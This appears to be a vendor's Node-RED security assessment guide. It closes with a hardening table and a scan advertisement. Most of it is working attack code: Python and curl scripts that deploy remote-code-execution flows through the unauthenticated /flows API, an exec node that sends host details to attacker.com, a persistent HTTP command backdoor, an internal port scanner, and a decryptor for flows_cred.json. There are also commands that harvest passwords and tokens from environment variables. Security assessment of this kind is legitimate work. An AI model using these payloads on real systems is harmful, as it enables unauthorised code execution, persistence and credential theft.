Node-RED is the dominant flow-based programming tool for IoT, industrial automation, and home automation deployments. It runs on port 1880 with no authentication by default, exposing a full graphical programming environment that allows deploying arbitrary Node.js code via Function nodes. The /flows API endpoint accepts flow definitions that can include exec nodes, file system access, and network requests — all running as the Node-RED process user. Credentials stored in flows (MQTT passwords, API keys, database credentials) are encrypted with a key that is frequently blank or stored alongside the flow file. This guide covers systematic Node-RED security assessment.
Node-RED's editor interface at port 1880 provides complete control over all deployed flows. With no authentication, any network-reachable host can deploy a Function node executing arbitrary Node.js code as the Node-RED process user — frequently root in Docker environments.
# Node-RED discovery and unauthenticated access check
NODERED="http://nodered.internal:1880"
# Verify unauthenticated access to editor
curl -s "${NODERED}/" | grep -c "Node-RED" && echo "UNAUTHENTICATED EDITOR ACCESS"
# Read settings — version, auth config, flow file path
curl -s "${NODERED}/settings" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'httpAdminRoot: {d.get(\"httpAdminRoot\")}')
print(f'flowFilePath: {d.get(\"flowFilePath\")}')
auth = d.get('requireOldAuth') or d.get('editorTheme',{}).get('login',{})
print(f'Auth configured: {bool(auth)}')
"
# List all deployed node types
curl -s "${NODERED}/flows" | python3 -c "
import json,sys
flows=json.load(sys.stdin)
types={}
for n in flows:
t=n.get('type','')
types[t]=types.get(t,0)+1
for t,c in sorted(types.items(),key=lambda x:-x[1])[:20]:
print(f'{t}: {c}')
"
# Deploy RCE flow via API (inject fires automatically on deploy)
python3 << 'EOF'
import urllib.request, json
NODERED = "http://nodered.internal:1880"
func_code = "const {execSync}=require('child_process');msg.payload=execSync('id;hostname;cat /etc/passwd|head -3').toString();return msg;"
flow = [
{"id":"t1","type":"tab","label":"test"},
{"id":"i1","type":"inject","z":"t1","once":True,"wires":[["f1"]]},
{"id":"f1","type":"function","z":"t1","name":"rce","func":func_code,"wires":[["d1"]]},
{"id":"d1","type":"debug","z":"t1","active":True}
]
req = urllib.request.Request(f"{NODERED}/flows",
data=json.dumps(flow).encode(), method="POST",
headers={"Content-Type":"application/json","Node-RED-Deployment-Type":"full"})
resp = urllib.request.urlopen(req)
print(f"Flow deployed: HTTP {resp.status}")
# Poll debug output
import time; time.sleep(2)
msgs = urllib.request.urlopen(f"{NODERED}/debug/view/messages").read()
print(json.loads(msgs))
EOF
child_process.execSync, file system APIs, and network connections. Node-RED Docker containers frequently run as root.
The exec node provides a dedicated shell command interface without requiring Function node knowledge. The HTTP In node creates unauthenticated web endpoints on the Node-RED server that persist across restarts.
# Deploy exec node for direct shell access
NODERED="http://nodered.internal:1880"
curl -s -X POST "${NODERED}/flows" \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: nodes" \
-d '{
"flows": [
{"id":"t2","type":"tab","label":"exec"},
{"id":"i2","type":"inject","z":"t2","once":true,"wires":[["e2"]]},
{"id":"e2","type":"exec","z":"t2",
"command":"curl -s http://attacker.com/collect?h=$(hostname)&u=$(id | base64)","wires":[["d2"],[],[]]},
{"id":"d2","type":"debug","z":"t2","active":true}
]
}'
# Create persistent HTTP command backdoor via HTTP In node
# This backdoor survives Node-RED restarts (saved to flows.json)
curl -s -X POST "${NODERED}/flows" \
-H "Content-Type: application/json" \
-H "Node-RED-Deployment-Type: nodes" \
-d '{
"flows": [
{"id":"t3","type":"tab","label":"backdoor"},
{"id":"h3","type":"http in","z":"t3","method":"post","url":"/api/status","wires":[["f3"]]},
{"id":"f3","type":"exec","z":"t3","command":"","addpay":true,"wires":[["r3"],[],[]]},
{"id":"r3","type":"http response","z":"t3"}
]
}'
# Execute commands through the HTTP backdoor
curl -s -X POST "${NODERED}/api/status" \
-H "Content-Type: application/json" \
-d '"env | grep -iE PASS|TOKEN|SECRET|KEY"'
# Scan for Node-RED instances on internal network
python3 -c "
import socket, concurrent.futures
def check(ip):
try:
s=socket.socket(); s.settimeout(1)
s.connect((ip,1880)); s.close()
return ip
except: return None
targets=['10.0.0.'+str(i) for i in range(1,255)]
with concurrent.futures.ThreadPoolExecutor(50) as ex:
found=[r for r in ex.map(check,targets) if r]
print('Node-RED instances:',found)
"
Node-RED stores credentials in flows_cred.json encrypted with AES-256-CTR. The encryption key derives from the credentialSecret setting — frequently blank by default, yielding a predictable key of sha256("").
# List credential-holding nodes from running flows
curl -s "${NODERED}/flows" | python3 -c "
import json,sys
flows=json.load(sys.stdin)
cred_types = {'mqtt-broker','http request','mongodb','postgresql','mysql','smtp','ftp','ssh-config'}
for n in flows:
if n.get('type') in cred_types:
print(f'Cred node: {n[\"type\"]} — {n.get(\"name\",\"\")}')
for k,v in n.items():
if any(s in k.lower() for s in ['pass','secret','key','token','auth','user']):
print(f' {k} = {v}')
"
# Find flows_cred.json
find / -name "flows_cred.json" 2>/dev/null
# Decrypt flows_cred.json with default empty secret
python3 -c "
import json,hashlib,base64
try:
from Crypto.Cipher import AES
key = hashlib.sha256(b'').digest()
with open('/data/flows_cred.json') as f:
creds = json.load(f)
for nid, fields in creds.items():
for field, val in fields.items():
if isinstance(val,str) and val.startswith('\$'):
raw=base64.b64decode(val[1:]+'==')
iv=raw[:16]
c=AES.new(key,AES.MODE_CTR,nonce=iv[:8],initial_value=int.from_bytes(iv[8:],'big'))
try: print(f'node={nid} {field}={c.decrypt(raw[16:]).decode()}')
except: pass
except Exception as e: print(e)
"
# Read environment variables injected at container start
# Node-RED Docker often passes DB passwords via ENV
curl -s -X POST "${NODERED}/api/status" \
-H "Content-Type: application/json" \
-d '"cat /proc/1/environ | tr \"\\0\" \"\\n\" | grep -iE PASS|DB|TOKEN|SECRET|KEY"' 2>/dev/null
Ironimo can assess your Node-RED deployments for unauthenticated admin UI exposure, RCE via Function and exec nodes, credential extraction from flow files, and persistent backdoor risks.
Start free scan| Issue | Default State | Fix |
|---|---|---|
| No admin authentication | No auth on port 1880 | Configure adminAuth in settings.js with bcrypt passwords; restrict to management network |
| Function node RCE | Full Node.js runtime access | Enable safeMode; restrict available modules via functionGlobalContext; run as non-root |
| Exec node shell access | Arbitrary shell commands | Remove exec from palette allowList in settings.js; use AppArmor/SELinux profile |
| Weak credential encryption | credentialSecret blank by default | Set strong random credentialSecret; store separately from flow files; use HashiCorp Vault |
| HTTP In creates open routes | No auth on HTTP In endpoints | Add auth middleware; restrict httpNodeRoot to internal network; use HTTPS |
| Runs as root in Docker | Common in default images | Use USER node in Dockerfile; set read-only filesystem; drop all capabilities |